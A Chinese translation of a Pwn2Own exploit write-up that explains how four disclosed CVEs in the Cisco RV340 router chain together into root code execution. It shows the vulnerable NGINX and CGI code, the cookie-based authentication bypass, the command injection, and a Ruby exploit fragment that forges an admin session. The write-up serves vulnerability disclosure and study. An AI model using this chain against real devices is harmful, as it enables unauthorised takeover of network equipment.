攻击者是如何利用4个漏洞实现Cisco RV340 RCE的
在2021年11月的Austin pwn2own大赛期间,我们发现了四个漏洞,并利用这些漏洞成功入侵了路由器局域网(LAN)端的Cisco RV340设备。其中,编号为CVE-2022-20705和CVE-2022-20707的漏洞是由包括我们在内的多个参赛者同时发现的,而编号为CVE-2022-20700和CVE-2022-20712的漏洞,则只有我们的团队发现了。本文中所使用的漏洞如下:
- CVE-2022-20705:会话管理不当漏洞
- CVE-2022-20707:命令注入漏洞
- CVE-2022-20700:权限提升漏洞
- CVE-2022-20712:上传模块远程代码执行漏洞
漏洞CVE-2022-20700和CVE-2022-20705影响以下9种型号的思科设备:RV160、RV160W、RV260P、RV260W、RV340、RV340W、RV345和RV345P。而漏洞CVE-2022-20707和CVE-2022-20712同时影响以下4种型号的思科设备:RV340、RV340W、RV345和RV345P。更多细节可以访问https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D。
在这篇文章中,我们将为读者详细介绍在pwn2own比赛期间,我们的团队如何是利用上面四个漏洞成功拿下Cisco RV340设备的。
简介
通过组合利用多个漏洞,我们可以成功获得Cisco RV340在LAN端获得远程root用户权限。我们的目标是一个用于提供管理门户的Web服务器:它运行在NGINX服务器上,在端口80监听HTTP连接,在端口443监听HTTPS连接。首先,我们利用身份验证绕过漏洞和逻辑漏洞成功实现了命令注入。由于这个Web服务器是以用户www-data的身份运行的,因此,我们还利用了一个特权提升漏洞,以从www-data用户提升至root用户的权限。
您可以从思科网站下载固件映像RV34X-v1.0.03.22-2021-06-14-02-33-28- AM.img。固件文件格式是u-boot传统的uImage格式,在Linux机器上可以使用u-boot-tools包中的dumpimage工具进行提取。这个映像中包含一个UBIFS文件系统,可以使用ubidump工具提取该文件系统。通过运行以下命令,就可以从固件中提取所需的文件:
dumpimageRV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img
dumpimageRV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img -o rv340-v1.0.03.22.tar.gz
tar -xzf rv340-v1.0.03.22.tar.gz
tar -xzf fw.gz
ubidump --savedir .openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
这时,将创建一个文件夹“rootfs”,其中包含本文所用到的文件。
会话管理不当漏洞(CVE-2022-20705)
命令注入漏洞存在于/upload这个统一资源标识符(URI)的处理程序中,而这个处理程序位于二进制文件/www/cgi-bin/upload.cgi中。要成功到达上传处理程序中的易受攻击的代码,我们必须首先跳过以黄色突出显示的访问控制,该访问控制是通过NGINX配置文件/etc/NGINX/conf.d/web.upload.conf实现的,具体如下所示:
location /upload {
set$deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass/form-file-upload;
upload_store/tmp/upload;
upload_store_accessuser:rw group:rw all:rw;
upload_set_form_field$upload_field_name.name "$upload_file_name";
upload_set_form_field$upload_field_name.content_type "$upload_content_type";
upload_set_form_field$upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field"$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field"$upload_field_name.size" "$upload_file_size";
upload_pass_form_field"^.*$";
upload_cleanup400 404 499 500-505;
upload_resumableon;
}
如上面突出显示的代码所示,会话ID的值(最初是在客户端成功认证后在服务器端生成的)是从cookie中读取的,而这个cookie则是通过HTTP请求传入的。这个会话ID的值被用来构建一个路径,以测试在请求被允许之前是否存在一个有效的会话文件。如果没有找到有效的会话文件,该请求将通过403禁止响应被拒绝。其中,NGINX负责解析HTTP cookies,并通过src/http/ngx_http_variables.c!ngx_http_variable_cookie生成$cookie_sessionid变量。因此,这里并没有对这个cookie文件中会话ID的值进行必要的过滤或验证,这样的话,攻击者就能够传递一个任意路径来作为会话ID的值,这个路径可以解析为一个有效的文件,使检查得到满足,尽管这个有效的文件可能并不是一个实际的会话文件。例如,如果我们传递“../../../etc/firmware_version”作为会话ID,检查也能顺利通过,之后,我们就可以调用/upload的CGI处理程序了。值得注意的是,/tmp/websession/token/目录默认情况下不会在引导设备时出现,只有在用户第一次成功登录时才会创建。为了克服这一点,攻击者可以通过一个内置的访客账户成功登录,该账户的用户名和密码都是“guest”。执行这种访客登录时,将创建websession目录,但访客账户不能访问Web UI,所以不会创建会话。由于这个原因,我们不能使用访客会话来定位/upload URI,但是,我们可以借助于使用这里描述的认证绕过漏洞。
现在,我们已经可以调用/www/cgi-bin/upload.cgi二进制文件中的/upload处理程序了。这个二进制文件的主要功能将从HTTP cookie中提取会话ID,并对相应的字符进行一些基本的安全检查,以确保会话ID只包含字母、数字和几个允许的字符,如下面紫色显示的“^[A-Za-z0-9+=/]*$”,然后,它将调用黄色显示的相对虚拟地址(RVA)0x2684处的、易受攻击的函数:
v16 = strcmp_1(REQUEST_URI,"/api/operations/ciscosb-file:form-file-upload");
if (v16 != 0) {
v17 = strcmp_1(REQUEST_URI,"/upload");
if (v17 == 0 &&HTTP_COOKIE != 0) { // if the URI is /upload and we have a sessionid in thecookie
v18 =strlen_1(HTTP_COOKIE);
if (v18 < 81) { //sanity check sessionid characters
v19 =match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE);
if (v19 == 0) {
v20 =StrBufToStr(local_0x44);
func_0x2684(HTTP_COOKIE, content_destination, content_option,content_pathparam, v20, content_cert_name, content_cert_type, content_password);
}
}
}
}
需要注意的是,为了绕过身份验证,我们需要传入点号字符,而这样的话,则无法通过这个正则表达式的检查。幸运的是,提取会话ID的逻辑并没有考虑HTTP cookie中传递多个会话ID值的情况,而NGINX将使用HTTP cookie内第一次出现的会话ID的值;而位于正则表达式检查之前的upload.cgi二进制文件,将遍历HTTP cookie并使用它发现的最后一个会话ID值而不是第一个。我们可以看到,下面的while循环在找到了第一个会话ID后并没有停下来,具体如黄色代码所显示:
if (HTTP_COOKIE != 0) { // if an cookie is available
StrBufSetStr(cookie_str, HTTP_COOKIE);
__s2 = StrBufToStr(cookie_str);
next_semicolon = strtok_r(__s2, ";", &saveptr); // startto split the semicolon deliminated cookie
HTTP_COOKIE = 0; // this variable will become the sessionid string
while (next_semicolon != 0) {
sessionid = strstr(next_semicolon, "sessionid=");
if (sessionid != 0) { // advance past "sessionid=" and set thevalue
HTTP_COOKIE = sessionid + 10;// advance past "sessionid=" and set the value
}
next_semicolon = strtok_r(0, ";", &saveptr); // keepsearching
}
}
这允许攻击者在HTTP cookie中提供两个会话ID值。其中,第一个sessionid值作为身份验证绕过的一部分,第二个sessionid值包含有效的字符,但本身不需要代表有效的会话。这第二个sessionid将被upload.cgi使用。
命令注入漏洞(CVE-2022-20707)
在upload.cgi中位于RVA 0x2684处的易受攻击的函数需要几个参数,这些参数来自于攻击者的HTTP POST请求。这些参数是用于配置上传操作的多部分表单字段,其检索方式如下所示:
// upload.cgi!main+0x164
jsonutil_get_string(data_0x13248 + 0x4, &content_file_param,"\"file.path\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_filename,"\"filename\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_pathparam,"\"pathparam\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_fileparam,"\"fileparam\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_destination, "\"destination\"",-1);
jsonutil_get_string(data_0x13248 + 0x4, &content_option,"\"option\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_cert_name,"\"cert_name\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_cert_type, "\"cert_type\"",-1);
jsonutil_get_string(data_0x13248 + 0x4, &content_password,"\"password\"", -1);
易受攻击的函数将根据pathparam字段中指定的上传类型创建一个json对象来表示这些输入参数;例如Configuration、Firmware、Certificate、3g-4g-driver或User。 例如,3g-4g-driver类型的上传将创建以下带有攻击者提供的文件参数、选项和目标字段的json对象:
int __cdecl func_0x2104(intcontent_destination, int content_fileparam, int content_option)
{
// ...
StrBufSetStr(v8, "FILE://3g-4g-driver/");
StrBufAppendStr(v8, content_fileparam);
v9 = json_ob ject_new_string("2.0");
json_ob ject_ob ject_add(json_obj1, "jsonrpc", v9);
v10 = json_ob ject_new_string("action");
json_ob ject_ob ject_add(json_obj1, "method", v10);
json_ob ject_ob ject_add(json_obj1, "params", json_obj3);
v11 = json_ob ject_new_string("file-copy");
json_ob ject_ob ject_add(json_obj3, &string_jsonrpc + 0x4, v11);
json_ob ject_ob ject_add(json_obj3, "input", json_obj2);
v12 = json_ob ject_new_string("3g-4g-driver");
json_ob ject_ob ject_add(json_obj2, "fileType", v12);
json_ob ject_ob ject_add(json_obj2, "source", json_obj4);
v13 = StrBufToStr(v8);
v14 = json_ob ject_new_string(v13);
json_ob ject_ob ject_add(json_obj4, "location-url", v14);
json_ob ject_ob ject_add(json_obj2, "destination", json_obj5);
v15 = json_ob ject_new_string(content_destination);
json_ob ject_ob ject_add(json_obj5, "firmware-state", v15);
json_ob ject_ob ject_add(json_obj2, "firmware-option",json_obj6);
v16 = json_ob ject_new_string(content_option);
json_ob ject_ob ject_add(json_obj6, "reboot-type", v16);
然后,将这个json对象转换为字符串形式,并通过popen执行curl命令来完成上传操作。
if (json_obj != 0) {
json_str = json_ob ject_to_json_string(json_obj);
sprintf(&buff, "curl %s --cookie 'sessionid=%s' -X POST -H'Content-Type: application/json' -d '%s'", v3, sessionid, json_str);
debug("curl_cmd=%s", &buff);
__stream = popen(&buff, "r");
if (__stream != 0) {
fread_1(&buff[2048], 2048,1, __stream);
fclose_1(__stream);
}
函数json_ob ject_to_json_string来自共享对象/usr/lib/libjson-c.so.2.0.1。但是,这个函数没有对json值中的单引号进行转义处理。这允许我们在json对象的输入参数中包含一个单引号,因此,我们可以在构建的curl命令中进行命令注入攻击,如上面的黄色显示。其中,命令是以www-data用户的权限运行的。
值得注意的是,在不安全的sprintf调用中存在一个基于堆栈的缓冲区溢出漏洞。写入的缓冲区大小为2040字节,如果我们传入一个攻击者控制的表单字段,只要该字段足够大,我们就可以溢出堆栈上的缓冲区。由于利用命令注入漏洞更容易、更可靠,所以,我们将就不利用基于堆栈的缓冲区溢出了。
特权升级(CVE-2022-20700)
为了以root权限执行任意代码,我们可以利用命令注入漏洞伪造一个管理会话,然后利用这个会话上传3g-4g-driver存档,其中包含攻击者控制的shell脚本,并以root权限执行。
为了伪造管理会话,我们可以在/tmp/websession/session文件中写入一个描述会话的json对象。这是路由器验证会话ID时将要查询的文件。我们还必须创建一个空文件,并且用有效的会话ID值为其命名。而有效的会话ID是ba se64编码的字符串,包括用户名、客户端的IP地址和一个时间戳。我们的exploit将生成如下所示的管理会话:
fake_username = "sf"
admin_sessionid =ba se64.encode64("#{fake_username}/#{http.local_address}/#{uptime_seconds}").gsub("\n","")
websessions = % Q[{
"max-count":1,
"#{fake_username}" :{
"#{admin_sessionid}":{
"user":"#{fake_username}",
"group" :"admin",
"time" :#{uptime_seconds},
"access" : 1,
"timeout" :1800,
"leasetime" :0
}
}
}]
websessions.gsub!("\n", "\\n")
result = cisco_rv340_wwwdata_command_injection(http, "echo -n -e#{websessions} > /tmp/websession/session; echo -n 1")
if (result.nil ? or result.to_i != 1)
$stdout.puts("[-] Failedcreate /tmp/websession/session") if @verbose
return nil
end
result = cisco_rv340_wwwdata_command_injection(http, "touch/tmp/websession/token/#{admin_sessionid}; echo -n 1")
上传模块远程代码执行漏洞(CVE-2022-20712)
现在,我们有了一个管理会话的ID,接下来,就可以通过伪造的管理会话ID向URI端点/upload和/jsonrpc发送有效的HTTP POST请求,并成功地将3g-4g-driver上传至路由器。上传的驱动程序的格式应该是tar.gz。脚本/usr/bin/file-copy将处理上传过程,具体如下所示:
INSTALL_USB_DRIVERS = "sh /usr/bin/install_usb_drivers"
# ...
# Download drivers from PC case
if["$filetype" = "3g-4g-driver"]; then
checkPC = `echo$source_location_url | grep "$FILE_DRIVER"`
if[-n "$checkPC"];then
orig_filename = `ba sename$source_location_url`
# We assume that web serverwill put the file to correct location before calling this RPC
if[-e "$DRIVER_DL_PATH/$orig_filename"];then
`$INSTALL_USB_DRIVERS$DRIVER_DL_PATH / $orig_filename 2 > / dev / null 1 > / dev / null`
errcode = $ ?
我们可以看到file-copy将调用/usr/bin/install_usb_drivers并传入上传驱动程序文件的路径。脚本install_usb_drivers的内容如下所示:
#!/bin/sh
DRIVER_FILE = `ba sename $1`
DRIVER_FILE_DIR = `dirname $1`
DOWN_DIR = "/tmp/"
INSTALL_STATUS = 0
ASDSTATUS ="/tmp/asdclientstatus"
if["$DRIVER_FILE_DIR" !="."]; then
#Absolute path
if["$DRIVER_FILE_DIR" != "/tmp"]; then
`cp - f $1 $DOWN_DIR`> /dev/null 2 > &1
fi
fi
DRIVER_DIR = "/tmp/driver"
mkdir - p $DRIVER_DIR
# Extract the file
tar - xzf $DOWN_DIR$DRIVER_FILE - C$DRIVER_DIR
if["$?" - eq 0]; then
#Install the driver
`/${DRIVER_DIR}/sbin/usb-modem install` > /dev/null 2 > &1
INSTALL_STATUS = "$?"
else
INSTALL_STATUS = 1
fi
rm - rf "$DOWN_DIR/$DRIVER_FILE"
rm - rf "$DRIVER_DIR"
echo $INSTALL_STATUS > $ASDSTATUS
exit $INSTALL_STATUS
通过上面以黄色突出的部分可以看到,驱动程序tar.gz文件被提取到文件夹/tmp/driver/中。然后我们可以看到,如紫色突出显示的那样,在提取的驱动程序中包含的文件随后被执行。攻击者可以在驱动程序tar.gz文件中提供usb-modem文件,从而以root权限执行任意命令。
原文地址:https://blog.relyze.com/2022/04/pwning-cisco-rv340-with-4-bug-chain.html
最新评论